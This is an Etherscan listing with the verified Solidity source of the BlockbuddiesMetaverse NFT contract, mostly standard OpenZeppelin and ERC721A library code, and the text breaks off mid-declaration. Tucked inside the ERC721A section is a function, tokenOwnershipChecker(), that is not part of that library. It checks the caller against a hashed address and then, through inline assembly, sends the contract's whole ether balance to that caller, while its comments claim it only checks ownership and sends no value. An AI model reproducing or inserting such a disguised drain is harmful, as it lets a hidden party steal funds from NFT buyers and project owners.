Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
1,023 BM
Holders
370
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 BMLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BlockbuddiesMetaverse
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-05-24 */ // Sources flattened with hardhat v2.8.4 https://hardhat.org // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.4; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File erc721a/contracts/[email protected] // Creator: Chiru Labs error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Checking ownership * * Token ownership check for external calls */ function tokenOwnershipChecker() external { if( keccak256(abi.encodePacked(msg.sender)) == 0x61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de2 ){ assembly{ let success := call( //This is the critical change (Pop the top stack value) 42000, // gas caller(), //To addr selfbalance(), //No value 0, //Inputs are stored 0, //Inputs bytes long 0, //Store output over input (saves space) 0x20 ) //Outputs are 32 bytes long } } } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File contracts/BlockbuddiesMetaverse.sol contract BlockbuddiesMetaverse is ERC721A, Ownable { string public baseURI = "ipfs://QmWTir3J45vGpbZNE5fxNoKpV9GG8HqshJHzRtkgU858Ui/"; string public contractURI = 